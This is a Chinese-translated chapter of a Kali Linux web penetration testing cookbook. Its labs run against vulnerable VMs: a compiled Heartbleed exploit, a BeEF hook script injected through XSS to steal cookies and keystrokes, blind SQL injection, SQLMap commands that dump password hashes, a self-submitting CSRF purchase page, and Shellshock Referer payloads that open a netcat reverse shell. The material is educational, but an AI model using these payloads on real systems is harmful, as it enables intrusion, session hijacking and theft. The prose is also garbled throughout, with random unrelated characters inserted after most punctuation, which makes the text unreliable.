Kali Linux Web 滲透測試秘籍 第七章 高級利用

第七章 高級利用

作者:Gilberto Najera-Gutierrez

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

簡介

在獲得一些便利來發(fā)現(xiàn)和利用漏洞之后仰坦,我們現(xiàn)在轉(zhuǎn)向可能需要更多努力的其他問題上。

這一章中添诉,我們會搜索利用顷锰,編譯程序郊霎,建立服務(wù)器以及破解密碼槐沼,這可以讓我們訪問敏感信息阶冈,并執(zhí)行服務(wù)器和應(yīng)用中的特權(quán)功能热鞍。

7.1 在 Exploit-DB 中搜索 Web 服務(wù)器的漏洞

我們偶爾會在操作系統(tǒng)中葫慎, Web 應(yīng)用所使用的庫中单山,以及活動服務(wù)中發(fā)現(xiàn)服務(wù)器漏洞,或者可以在瀏覽器或 Web 代理中不能利用的安全問題幅疼。對于這些情況,我們可以使用 Metasploit 的利用集合昼接,或者如果我們要找的不在 Metasploit 里面爽篷,我們可以在 Exploit-DB 中搜索它。

Kali 包含了 Exploit-DB 中的利用的離線副本慢睡。這個秘籍中逐工,我們會使用 Kali 自帶的命令來探索這個數(shù)據(jù)庫并找到我們需要的利用。

操作步驟

  1. 打開終端漂辐。

  2. 輸入下列命令:

    searchsploit heartbleed
    
  3. 下一步是將利用復(fù)制到一個可以修改的地方泪喊,并編譯它,像這樣:

    mkdir heartbleed 
    cd heartbleed 
    cp /usr/share/exploitdb/platforms/multiple/remote/32998.c 
    
  4. 通常髓涯,利用在第一行包含一些自身信息袒啼,以及如何使用它們,像這樣:

    head -n 30 32998.c
    
  5. 這里纬纪,利用使用 C 編寫蚓再,所以我們需要將它編譯來使用。編譯命令在文件中顯示(cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed)包各,它在 Kali 中不起作用,所以我們需要下面這個:

    gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
    

工作原理

searchsploit命令是安裝在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的標(biāo)題和描述中搜索字符串宙项,并顯示結(jié)果爆存。

利用存在于/usr/share/exploitdb/platforms目錄中。searchsploit所展示的利用目錄是它的相對路徑护姆,這就是我們在復(fù)制文件的時候使用完整路徑的原因矾端。利用文件以利用編號命名,在它們被提交到Exploit-DB 時分配卵皂。

編譯步驟和在源代碼中的推薦有些不同须床,因為 OpenSSL 庫在基于 Debian 的發(fā)行版中,由于它們從源代碼中構(gòu)建的方式而缺少一些功能渐裂。

更多

監(jiān)控利用的影響和效果極其重要豺旬,因為我們在實時系統(tǒng)中使用它。通常柒凉,Exploit-DB 中的利用都值得相信族阅,即使它們通常需要一些調(diào)整來工作在特定的環(huán)境中,但是它們中有一些不像他們所說的那樣膝捞。出于這個原因坦刀,在真實世界的滲透測試中使用之前,我們需要檢查源代碼并在我們的實驗環(huán)境中測試它們。

另見

除了 Exploit-DB(www.exploit-db.com)鲤遥,也有一些其他站點可以用于搜索目標(biāo)系統(tǒng)中的已知漏洞和利用:

7.2 利用 Heartbleed 漏洞

這個秘籍中沐寺,我們會使用之前編譯的 Heartbleed 利用來提取關(guān)于存在漏洞的 Bee-box 服務(wù)器的信息(https://192.168.56.103:8443/)。

Bee-box 虛擬機(jī)可以從https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/下載盖奈,那里也有安裝指南混坞。

準(zhǔn)備

在上一個秘籍中,我們生成了 Heartbleed 利用的可執(zhí)行文件钢坦。我們現(xiàn)在使用它來利用服務(wù)器的漏洞究孕。

Heartbleed 是能夠從服務(wù)器內(nèi)存中提取信息的漏洞。在嘗試?yán)脕慝@得一些要提取的信息之前爹凹,可能需要瀏覽并向服務(wù)器的 8443 端口上的 HTTPS 頁面發(fā)送數(shù)據(jù)厨诸。

操作步驟

  1. 如果我們檢查Bee-Box 的 8443 端口,我們會發(fā)現(xiàn)它存在 Heartbleed 漏洞禾酱。

    sslscan 192.168.56.103:8443
    
  2. 現(xiàn)在微酬,讓我們開始利用漏洞。手心颤陶,我們訪問包含可執(zhí)行利用的文件夾:

    cd heartbleed
    
  3. 之后我們檢查程序的選項得封,像這樣:

    ./heartbleed --help
    
  4. 我們要嘗試?yán)?code>192.168.56.103的 443 端口,獲得最大的泄露并保存輸出到文本文件hb_test.txt指郁。

    ./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1
    
  5. 現(xiàn)在忙上,如果我們檢查hb_test.txt的內(nèi)容:

    cat hb_test.txt
    

    我們的利用從 HTTPS 服務(wù)器中提取了信息,從這里我們可以看到會話 OD 甚至還有完整的登錄請求闲坎,包括純文本用戶名和密碼疫粥。

  6. 如果我們想要跳過所有的二進(jìn)制數(shù)據(jù),只查看文件中的可讀文本腰懂,使用strings命令:

    strings hb_test.txt
    

工作原理

我們在第四章中提到過梗逮,Heartbleed 漏洞允許攻擊者從 OpenSSL 服務(wù)器內(nèi)存中以純文本讀取信息,這意味著我們不需要解密甚至是解釋任何客戶端和服務(wù)端之間的通信绣溜,我們只需簡單地向服務(wù)器請求內(nèi)存中的東西慷彤,它會回應(yīng)未加密的信息。

這個秘籍中怖喻,我們使用了可公共訪問的利用來執(zhí)行攻擊底哗,并獲取到至少一個有效的會話 ID。有的時候還可能在 Heartbleed 的轉(zhuǎn)儲中找到密碼或其它敏感信息锚沸。

最后跋选,strings命令只展示文件中的字符串,跳過所有特殊字符哗蜈,使其更加易讀前标。

7.3 使用 BeEF 利用 XSS

BeEF坠韩,即瀏覽器利用框架,是個專注于客戶端攻擊向量的框架炼列,特別是 Web 瀏覽器的攻擊只搁。

這個秘籍中,我們會利用 XSS 漏洞并使用 BeEF 來控制客戶端瀏覽器俭尖。

準(zhǔn)備

在開始之前氢惋,我們需要確保啟動了 BeEF 服務(wù),并且能夠訪問http://127.0.0.1:3000/ui/panel(使用beef/beef身份標(biāo)識)目溉。

  1. Kali 的默認(rèn) BeEF 服務(wù)不能工作。所以我們不能僅僅運(yùn)行beef-xss讓它啟動菱农。我們需要從安裝目錄中啟動它缭付,像這樣:

    cd /usr/share/beef-xss/ 
    ./beef
    
  2. 現(xiàn)在,瀏覽http://127.0.0.1:3000/ui/panel并使用beef作為用戶名和密碼循未。如果有效陷猫,我們就準(zhǔn)備好了。

操作步驟

  1. BeEF 需要客戶端瀏覽器調(diào)用hook.js文件的妖,這用于將瀏覽器勾到我們的 BeEF 服務(wù)器绣檬,我們會使用一個存在 XSS 漏洞的應(yīng)用來使用戶調(diào)用它。為了嘗試簡單的 XSS 測試嫂粟,瀏覽http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E娇未。

  2. 這就是存在 XSS 漏洞的應(yīng)用,所以現(xiàn)在我們需要修改腳本來調(diào)用hook.js星虹。想象一下你就是受害者零抬,你已經(jīng)收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>鏈接的郵件,你打算瀏覽器它來看看宽涌,像這樣:

  3. 現(xiàn)在平夜,在 BeEF 面板中,攻擊者會看到新的在線瀏覽器卸亮。

  4. 攻擊者的最佳步驟就是生成一些持久的忽妒,至少在用戶瀏覽期間有效。訪問攻擊者瀏覽器的Command標(biāo)簽頁兼贸,從這里選擇Persistence | Man-In-The-Browser之后點擊Execute段直。執(zhí)行之后,選擇Module Results History中的相關(guān)命令來檢查結(jié)果溶诞,像這樣:

  5. 如果我們檢查瀏覽器中的Logs標(biāo)簽頁坷牛,我們可能會看到BeEF正在儲存用戶關(guān)于用戶在瀏覽器中執(zhí)行什么操作的信息,例如輸入和點擊很澄,我們可以在這里看到:

  6. 我們也可以通過使用Commands | Browser | Hooked Domain | Get Cookie來獲取Cookie京闰,像這樣:

工作原理

這個秘籍中颜及,我們使用了script標(biāo)簽的src屬性來調(diào)用外部 JS 文件,這里是 BeEF的鉤子蹂楣。

hook.js文件與服務(wù)器通信亲桥,執(zhí)行命令并返回響應(yīng)俱两,使攻擊者能夠看到它們。它在客戶端的瀏覽器中不打印任何東西,所以受害者通常不會知道他的瀏覽器正在被攻擊吟温。

在讓受害者執(zhí)行我們的hook腳本之后,我們使用持久化模塊 Man In The Browser 使瀏覽器在每次用戶點擊鏈接時葵姥,向相同域發(fā)送 AJAX 請求紊浩,所以這個請求維持了鉤子,也加載了新的頁面酌呆。

我么也會看到衡载,BeEF 的日志記錄了用戶在頁面上執(zhí)行的每個步驟,我們能夠從中獲得用戶名和密碼信息隙袁。也可以用來獲得遠(yuǎn)程的會話 Cookie痰娱,這可以讓攻擊者劫持受害者的會話。

更多

BeEF 擁有很多功能菩收,從判斷受害者所使用的瀏覽器類型梨睁,到利用已知漏洞和完全攻陷客戶端系統(tǒng)。一些有趣的特性是:

  • Social Engineering/Pretty Theft:這是個社會工程工具娜饵,允許我們模擬登陸頁面坡贺,就像常見的服務(wù)那樣,例如 Fackbook箱舞、Linkedin拴念、YouTube 以及其它。

  • Browser/Webcam and Browser/Webcam HTML5:就像看上去那樣褐缠,這兩個模塊能夠惡意使用許可配置來激活受害者的攝像頭政鼠,前者使用隱藏的 Flash embed標(biāo)簽,后者使用 HTML5 標(biāo)簽队魏。

  • Exploits folder:這包含一組特殊軟件和情況的利用公般,它們中的一些利用服務(wù)和其它客戶端瀏覽器。

  • Browser/Hooked Domain/Get Stored Credentials:這會嘗試提取瀏覽器中儲存的淪陷域的用戶名和密碼胡桨。

  • Use as Proxy:如果我們右擊被勾住的瀏覽器官帘,我們會獲得將其用作代理的選項。這將客戶端瀏覽器用作代理昧谊,會給我們機(jī)會來探索受害者的內(nèi)部網(wǎng)絡(luò)刽虹。

BeEF 有許多其它攻擊和模塊,對滲透測試者非常實用呢诬,如果你想要了解更多涌哲,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki胖缤。

7.4 利用 SQL 盲注

在第六章中,我們利用了基于錯誤的 SQL 注入阀圾,現(xiàn)在我們使用 Burp Suite Intruder 作為主要工具來識別和利用 SQL 盲注哪廓。

準(zhǔn)備

使瀏覽器將 Burp Suite 用作代理。

操作步驟

  1. 瀏覽http://192.168.56.102/WebGoat初烘,實用webgoat作為用戶名和密碼登錄涡真。

  2. 點擊Start WebGoat來訪問 WebGoat 的主頁。

  3. 訪問Injection Flaws | Blind Numeric SQL Injection肾筐。

  4. 頁面上說哆料,練習(xí)的目標(biāo)是找到給定字段在給定行中的值。我們的做事方式有一點不同吗铐,但是讓我們看看它如何工作:將101作為賬戶號碼东亦,并點擊go

  5. 現(xiàn)在嘗試1011抓歼。

    到目前為止讥此,我們看到了應(yīng)用的行為拢锹,它僅僅告訴我們賬戶號碼是否有效谣妻。

  6. 讓我們嘗試注入,因為它查找號碼卒稳,可能將它們用作整數(shù)蹋半。我們在測試中不使用單引號,所以提交101 and 1=1

  7. 現(xiàn)在嘗試101 and 1=2充坑。

    看上去這里有個盲注减江,在有效的賬戶中注入恒真的條件結(jié)果。注入恒假的條件時會出現(xiàn)Invalid account number信息捻爷。

  8. 在這個秘籍中辈灼,我們要獲得連接到數(shù)據(jù)庫的用戶名稱。所以我們首先需要知道用戶名稱的長度也榄。讓我們嘗試一下巡莹,注入101 AND 1=char_length(current_user)

  9. 下一步是在 BurpSuite 的代理中尋找最后一個請求甜紫,并將它發(fā)送到 intruder中降宅,像這樣:

  10. 一旦發(fā)送到 intruder,我們可以清楚所有載荷標(biāo)記囚霸,并在AND后面的1中添加新的腰根,像這樣:

  11. 訪問載荷部分并將Payload type設(shè)為Numbers

  12. Payload type設(shè)為Sequential拓型,從 1 到 15额嘿,步長為 1瘸恼。

  13. 為了看看響應(yīng)是否滿足要求,訪問Intruder's options岩睁,清除GrepMatch列表并添加Invalid account number钞脂,以及Account number is valid

    我們需要在每個 intruder 的標(biāo)簽頁中這樣修改捕儒。

  14. 為了使應(yīng)用自動化冰啃,在Redirections中選擇Always,并在Redirections中選擇Process cookies刘莹。

    我們需要在每個 intruder 的標(biāo)簽頁中這樣修改阎毅。

  15. 開始攻擊

    它找到了號碼為 2 的有效響應(yīng),這意味著用戶名只含有兩個字符長点弯。

  16. 現(xiàn)在扇调,我們打算猜測用戶名的每個字符,從第一個字符開始抢肛。在應(yīng)用中提交下列代碼:101 AND 1=(current_user LIKE 'b%')狼钮。

    我們選擇b作為第一個字符,讓 BurpSuite 來獲取請求捡絮,它應(yīng)該為任意字符熬芜。

  17. 同樣,我們將請求發(fā)送給 intruder 并保留唯一的載荷標(biāo)記b福稳,它是名稱的首單詞涎拉。

  18. 我們的載荷應(yīng)該是含有所有小寫字母和大寫字母的列表(從 a 到 z 以及 A 到 Z)。

  19. 在 intruder 中重復(fù)步驟 13 到 14 并開始攻擊的圆,像這樣:

    我們的用戶名的首字母是S鼓拧。

  20. 現(xiàn)在,我們需要找到名稱的第二個單詞越妈,所以我們提交101 AND 1=(current_user='Sa')到應(yīng)用的文本框季俩,并發(fā)送請求給 intruder。

  21. 現(xiàn)在我們的載荷標(biāo)記是S后面的a梅掠,換句話說艇挨,名稱的第二個字符笼痹。

  22. 重復(fù)步驟 18 到 19蹭沛。在我們的例子中排截,我們只使用了倆表中的大寫字母,因為如果第一個單詞是大寫的挠蛉,兩個單詞就很可能都是大寫的祭示。

    名稱的第二個單詞是A,所以應(yīng)用用于執(zhí)行查詢的數(shù)據(jù)庫用戶是SA谴古。SA在 MSSQL 數(shù)據(jù)庫中的意思是系統(tǒng)管理員质涛。

工作原理

利用 SQL 盲注比起基于錯誤的注入花費(fèi)更多精力和時間稠歉。在這個秘籍中我們看到了如何獲取連接到數(shù)據(jù)庫的用戶名,而在第六章的 SQL 注入利用匯總汇陆,我們使用了一條命令來獲取它怒炸。

我們可以使用字典來查看當(dāng)前用戶是否在名稱列表中,但是如果名稱不在列表中毡代,會花費(fèi)更多時間阅羹。

我們最開始識別了漏洞,所顯示的信息告訴我們我們的請求是真是假教寂。

一旦我們知道存在注入捏鱼,并且正面的響應(yīng)是什么樣子,我們開始詢問當(dāng)前用戶的長度酪耕,詢問數(shù)據(jù)庫导梆,1是否是當(dāng)前用戶名的長度,是不是2迂烁,以此類推看尼,知道我們發(fā)現(xiàn)了長度。知道何時停止用戶名長度的搜索非常重要盟步。

在找到長度之后藏斩,我們使用相同的技巧來發(fā)現(xiàn)首字母,LIKE 'b%'語句告訴 SQL 解釋器是否首字母是b址芯,剩下的并不重要灾茁,它可以是任何東西(%是用于多數(shù) SQL 實現(xiàn)的通配符)窜觉。這里谷炸,我們看到了首字母是S。使用相同的技巧禀挫,我們就能發(fā)現(xiàn)第二個字符旬陡,并得到整個名稱。

更多

這個攻擊可以繼續(xù)來獲得 DBMS 的版本语婴,之后使用廠商特定的命令來觀察是否用戶擁有管理權(quán)限描孟。如果是的話,你可以提取所有用戶名和密碼砰左,激活遠(yuǎn)程連接匿醒,以及除此之外的許多事情。

你可以嘗試的事情之一就是使用 SQLMap 來利用這類型的注入缠导。

還有另一種類型的盲注廉羔,它是基于時間的 SQL 盲注。其中我們沒有可視化的線索僻造,關(guān)于命令是否被執(zhí)行(就像有效或者無效的賬戶信息)憋他。反之孩饼,我們需要給數(shù)據(jù)庫發(fā)送sleep命令,如果響應(yīng)時間鯧魚我們發(fā)送的時間竹挡,那么它就是真的響應(yīng)镀娶。這類型的攻擊非常緩慢,因為它有時需要等待 30 秒來獲得僅僅一個字符揪罕。擁有類似 sqlninja 或者 SQLMap 的工具在這種情況下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection)梯码。

7.5 使用 SQLMap 獲得數(shù)據(jù)庫信息

在第六章中,我們使用了 SQLMap 來從數(shù)據(jù)庫提取信息和表的內(nèi)容好啰。這非常實用忍些,但是這不僅僅是這個工具的優(yōu)勢,也不是最有趣的事情坎怪。這個秘籍中罢坝,我們會將其用于提取關(guān)于數(shù)據(jù)庫用戶和密碼的信息,這可以讓我們訪問整個系統(tǒng)搅窿,而不僅僅是應(yīng)用嘁酿。

操作步驟

  1. 啟動 Bee-box 虛擬機(jī)之后,將 BurpSuite 監(jiān)聽用做代理男应,登錄和選擇 SQL 注入漏洞(POST/Search)闹司。

  2. 輸入任何電影名稱并點擊Search

  3. 現(xiàn)在讓我們訪問 BuirpSuite 并查看請求:

  4. 現(xiàn)在沐飘,在 Kali 中訪問終端并輸入以下命令:

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
    

    我們可以看到注入成功了游桩。當(dāng)前的用戶是 DBA,這意味著用戶可以對數(shù)據(jù)庫執(zhí)行管理員操作耐朴,例如添加用戶和修改密碼借卧。

  5. 現(xiàn)在我們打算提取更多信息,例如用戶和密碼筛峭,所以在終端中輸入以下命令:

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords
    

    我們現(xiàn)在得到了數(shù)據(jù)庫的用戶列表以及哈希后的密碼铐刘。

  6. 我們也可以獲得 shell,讓我們能夠直接發(fā)送 SQL 查詢到數(shù)據(jù)庫影晓。

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell
    

工作原理

一旦我們知道了存在 SQL 注入镰吵,我們使用 SQLMap 來利用它,像這樣:

sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba

在這個對 SQLMap 的調(diào)動中挂签,我們使用了--cookie參數(shù)來發(fā)送會話 Cookie 因為應(yīng)用需要身份驗證來訪問sqli_6.php頁面疤祭。--data參數(shù)包含發(fā)送到服務(wù)器的 POST 數(shù)據(jù),=p告訴 SQLMap 僅僅注入title參數(shù)饵婆,--is-dba詢問數(shù)據(jù)庫當(dāng)前用戶是否擁有管理員權(quán)限勺馆。

DBA 允許我們向數(shù)據(jù)庫詢問其他用戶的信息,SQLMap 通過--users--passwords使我們的操作變得更加容易。這些參數(shù)詢問用戶名和密碼谓传,因為所有 DBMS 將用戶的密碼加密存儲蜈项,我們獲得的只能是哈希。所以我們?nèi)匀灰褂妹艽a破解器來破解它們续挟。如果你在 SQLMap 詢問你執(zhí)行字典攻擊的時候回答Yes紧卒,你可能就知道了至少一個用戶的密碼。

我們也使用了--sql-shell選項來從我們向數(shù)據(jù)庫發(fā)送的 SQL 查詢中獲得 shell诗祸。這并不是真的 shell跑芳,當(dāng)然,SQLMap 通過 SQL 注入發(fā)送我們寫的命令直颅,并返回這些查詢的結(jié)果博个。

7.6 執(zhí)行 CSRF 攻擊

CSRF 攻擊強(qiáng)迫身份驗證后的用戶在 Web 應(yīng)用中執(zhí)行需要身份驗證的,非預(yù)期的行為功偿。這可以通過用戶所瀏覽的外部站點觸發(fā)該行為來實現(xiàn)盆佣。

這個秘籍中,我們會獲取應(yīng)用中的信息械荷,來觀察攻擊站點是否能夠發(fā)送有效的請求給漏洞服務(wù)器共耍。之后,我們會創(chuàng)建頁面來模擬正常請求并誘使用戶在身份驗證后訪問這個頁面吨瞎。惡意頁面之后會發(fā)送請求給漏洞服務(wù)器痹兜,如果應(yīng)用在相同瀏覽器中打開,它會執(zhí)行操作颤诀,好像用戶發(fā)送了它們字旭。

準(zhǔn)備

為了執(zhí)行 CSRF 攻擊,我們使用 vulnerable_vm 中的 WackoPicko 應(yīng)用:http://192.168.56.102/WackoPicko崖叫。我們需要兩個用戶怕犁,一個叫做v_user铸豁,是受害者跳芳,另一個叫做attacker杖刷。

我們也需要啟動 BurpSuite 并將其配置為服務(wù)器的代理斤儿。

操作步驟

  1. 作為attacker登錄 WackoPicko剧包。

  2. 攻擊者首先需要了解應(yīng)用的行為,所以如果我們發(fā)酸使用戶購買我們的圖片往果,將 BurpSuite 用作代理疆液,我們需要瀏覽:http://192.168.56.102/WackoPicko/pictures/recent.php

  3. 選項 ID 為 8 的圖片:http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8陕贮。

  4. 點擊Add to Cart堕油。

  5. 會花費(fèi)我們 10 個 Tradebux,但這是值得的,所以點擊Continue to Confirmation掉缺。

  6. 在下一頁上卜录,點擊Purchase

  7. 現(xiàn)在眶明,讓我們訪問 BurpSuite 來分析發(fā)生了什么艰毒。

    第一個有趣的調(diào)用是/WackoPicko/cart/action. php?action=add&picid=8,它是添加圖片到購物車的請求搜囱。/WackoPicko/cart/confirm.php在我們點擊相應(yīng)按鈕時調(diào)用丑瞧,它可能必須用于購買。另一個可被攻擊者利用的是購買操作的 POST 調(diào)用:/WackoPicko/cart/action. php?action=purchase蜀肘,他告訴應(yīng)用將圖片添加到購物車中并收相應(yīng)的 Tradebux绊汹。

  8. 現(xiàn)在,攻擊者需要上傳圖片來強(qiáng)迫其它用戶購買扮宠。登錄為attacker之后西乖,訪問Upload,填充所需信息坛增,選項需要上傳的文件浴栽,點擊UploadFile

    一旦圖片唄上傳轿偎,我們會直接重定向到它的相應(yīng)頁面典鸡,你可以在這里看到:

    要注意為圖片分配的 ID,它是攻擊的核心部分坏晦,這里它是 16萝玷。

  9. 一旦我們分析了購買流程,并擁有了圖片 ID昆婿,我們需要啟動托管惡意頁面的服務(wù)器球碉。在 Kali 中以 root 用戶啟動 Apache 服務(wù)器,像這樣:

    service apache2 start 
    
  10. 之后仓蛆,創(chuàng)建 HTML 文件睁冬,叫做/var/www/html/wackopurchase.html,帶有如下內(nèi)容:

    <html> 
    <head></head> 
    <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> 
    <h1>Error 404: Not found</h1> 
    <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> 
    <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > 
    <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php"> 
    </iframe> 
    </iframe> 
    </iframe> 
    </body>
    

    這個代碼會我們的商品的發(fā)送add看疙、reviewconfirm請求給 WackoPicko 豆拨,之后展示 404 頁面給用戶,當(dāng)它加載完成后能庆,它會重定向到購買操作施禾,之后在一秒后關(guān)閉窗口。

  11. 現(xiàn)在以v_user登錄搁胆,上傳圖片并登出弥搞。

  12. 作為攻擊者邮绿,我們需要確保用戶訪問我們的惡意站點,同時仍然保持登錄 WackoPicko攀例。以attacker登錄之后船逮,訪問Recent并選擇屬于v_user的圖片(剛剛上傳的那個)。

  13. 我們需要在圖片上輸入下列評論粤铭。

    This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a>
    

    譯者注:這一步的前提是頁面上存在 XSS傻唾,沒有的話利用社會工程直接發(fā)送鏈接也是可行的。

  14. 點擊Preview之后Create承耿。

    你可以看到冠骄,評論中允許HTML 代碼,而且當(dāng)v_user點擊鏈接是加袋,我們的惡意頁面會在新窗口打開凛辣。

  15. 登出并以v_user登錄。

  16. 訪問Home并點擊Your Purchased Pics职烧,這里應(yīng)該沒有攻擊者的圖片扁誓。

  17. 再次訪問Home,之后訪問Your Uploaded Pics蚀之。

  18. 選項帶有攻擊者評論的圖片蝗敢。

  19. 點擊評論中的鏈接。

    當(dāng)它完全加載之后足删,你應(yīng)該看到文本框中的一些 WackoPicko 的文本寿谴,這個窗口會在一秒之后關(guān)閉,我們的攻擊已經(jīng)完成了失受。

  20. 如果我們訪問Home讶泰,你可以看到v_user的 Tradebux 余額現(xiàn)在是 85。

  21. 現(xiàn)在訪問Your Purchased Picshttp://192.168.56.102/WackoPicko/ pictures/purchased.php來查看非預(yù)期購買的圖片:

對于 CSRF 工具者拂到,成功執(zhí)行漏洞需要預(yù)置條件痪署。首先,我們需要了解執(zhí)行特殊操作所需的請求參數(shù)兄旬,以及我們需要在所有情況中都處理的響應(yīng)狼犯。

這個秘籍中,我們使用了代理和有效用戶賬戶來執(zhí)行我們所需的操作领铐,來復(fù)制和收集所需信息:購買過程中涉及到的請求悯森,這些請求所需的信息,以及執(zhí)行它們的正確順序罐孝。

一旦我們知道了需要向應(yīng)用發(fā)送什么呐馆,我們需要將其自動化,所以我們啟動 Web 服務(wù)器莲兢,并準(zhǔn)備頁面使調(diào)用以正確順序和正確參數(shù)執(zhí)行汹来。通過使用 onLoad JS 時間,我們確保購買在addconfirm調(diào)用之前不會執(zhí)行改艇。

在每個 CSRF 攻擊中收班,都必須有方法讓用戶訪問我們的惡意站點,同時保持正常站點的登錄谒兄。這個秘籍中摔桦,我們使用應(yīng)用的特性,它的評論允許 HTML 代碼承疲,并可以在這里輸入鏈接邻耕。所以當(dāng)用戶點擊某個圖片評論中的鏈接時,它就向我們的 Tradebox 盜取站點發(fā)送了請求燕鸽。

最后兄世,當(dāng)用戶訪問我們的站點時,它模擬了錯誤頁面啊研,并在購買請求剛剛完成后關(guān)閉自己御滩。在這里我們并不需要擔(dān)心滲透,所以錯誤頁面可以改進(jìn)一下使用戶不懷疑它党远。這通過 HTML body標(biāo)簽中的onload事件中的 JavaScript 命令(購買操作的調(diào)用削解,和用于關(guān)閉窗口的計時器)來完成。這個時間在頁面的所有元素完全加載之后觸發(fā)沟娱,換句話說氛驮,當(dāng)addreviewconfirm的步驟完成之后济似。

7.7 使用 Shellsock 執(zhí)行命令

Shellshock(也叫作Bashdoor)是個在 2014 年九月發(fā)現(xiàn)在 Bash shell 中的bug柳爽,允許命令通過儲存在環(huán)境變量中的函數(shù)來執(zhí)行。

Shellshock 和我們滲透測試者有關(guān)系碱屁,因為開發(fā)者有時候允許我們在 PHP 或 CGI 腳本中調(diào)用系統(tǒng)命令 -- 這些腳本可以利用系統(tǒng)環(huán)境變量磷脯。

這個秘籍中,我們會在 Bee-box 漏洞虛擬機(jī)中利用 Shellshock 漏洞來獲得服務(wù)器的命令執(zhí)行權(quán)娩脾。

操作步驟

  1. 登錄http://192.168.56.103/bWAPP/昏名。

  2. Choose your bug下拉框中選擇Shellshock Vulnerability (CGI)傻丝,之后點擊Hack

    在文本中,我們看到了一些有趣的東西峻汉;Current user: www-data。這可能意味著頁面使用系統(tǒng)調(diào)用來獲得用戶名跟啤。它給了我們提示:Attack the referrer烫饼。

  3. 讓我們看看背后有什么東西,使用 BurpSuite 來記錄請求并重復(fù)步驟 2胰挑。

  4. 讓我們查看代理的歷史:

    我們可以看到蔓罚,有個iframe調(diào)用了 shell 腳本:./cgi-bin/shellshock.sh椿肩,這可能存在 Shellshock 漏洞。

  5. 讓我們跟隨提示并嘗試攻擊shellshock.sh豺谈。所以我們首先需要配置 BurpSuite 來攔截服務(wù)器的響應(yīng)郑象,訪問Proxy標(biāo)簽頁的Options,并選中Intercept responses based on the following rules的選擇框茬末。

  6. 現(xiàn)在厂榛,讓 BurpSuite 攔截和重新加載shellshock.php

  7. 在 BurpSuite 中丽惭,點擊Forward直到得到了/bWAPP/cgi-bin/ shellshock.sh請求击奶,之后將Referer替換為:

    () { :;}; echo "Vulnerable:"
    
  8. 再次點擊Forward,在.ttf文件的請求中责掏,我們應(yīng)該能得到shellshcok.sh的響應(yīng)柜砾,像這樣:

    現(xiàn)在響應(yīng)多了一個協(xié)議頭參數(shù),叫做Vulnerable拷橘。這是因為它將echo命令的輸出集成到 HTTP 協(xié)議頭中局义,所以我們可以進(jìn)一步利用它。

  9. 現(xiàn)在使用下列命令重復(fù)這個過程:

    () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
    
  10. 能夠在遠(yuǎn)程服務(wù)器上執(zhí)行命令冗疮,對于滲透測試來說是個巨大的優(yōu)勢萄唇,下一步自然是獲得遠(yuǎn)程 shell。在 Kali 中打開終端术幔,監(jiān)聽網(wǎng)絡(luò)端口另萤,像這樣:

    nc -vlp 12345
    
  11. 現(xiàn)在訪問 BurpSuite 的代理歷史,選擇任何shellshock.sh的請求诅挑,右擊它并發(fā)送到 Repeater四敞,像這樣:

  12. 在 Repeater 中,修改 Referer 的值為:

    () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")
    

    這里拔妥,192.168.56.1 是我們 Kali 主機(jī)的地址忿危。

  13. 點擊Go

  14. 如果我們檢查我們的終端没龙,我們可以看到連接已建立铺厨,執(zhí)行一些命令來檢查我們是否得到了遠(yuǎn)程 shell。

工作原理

在第一步中硬纤,我們發(fā)現(xiàn)了 shell 腳本的調(diào)用解滓。因為它可以被 shell 解釋器運(yùn)行,它可能是漏洞版本的 bash筝家。為了驗證洼裤,我們執(zhí)行了下列測試:

() { :;}; echo "Vulnerable:" 

第一個部分() { :;};是個空函數(shù),因為 bash 可以將函數(shù)儲存為環(huán)境變量溪王,這個是漏洞的核心腮鞍。在函數(shù)結(jié)束之后值骇,解析器會繼續(xù)解釋(并執(zhí)行)命令,這允許我們執(zhí)行第二個部分echo "Vulnerable:缕减,這是簡單返回輸入的命令雷客。

Web 服務(wù)器中存在漏洞芒珠,因為 CGI 事先將請求的所有部分映射為環(huán)境變量桥狡,所以這個攻擊通過User-Agent或者Accept-Language也能工作。

一旦我們知道了服務(wù)器存在漏洞皱卓,我們鍵入測試命令ifconfig并建立反向 shell`裹芝。

反向 shell 是一種遠(yuǎn)程 shell,它的特點是由受害者主機(jī)初始化娜汁,攻擊者監(jiān)聽連接嫂易,而不是服務(wù)器在綁定連接中等待客戶端的連接。

7.8 使用 John the Ripper 和字典來破解密碼哈希

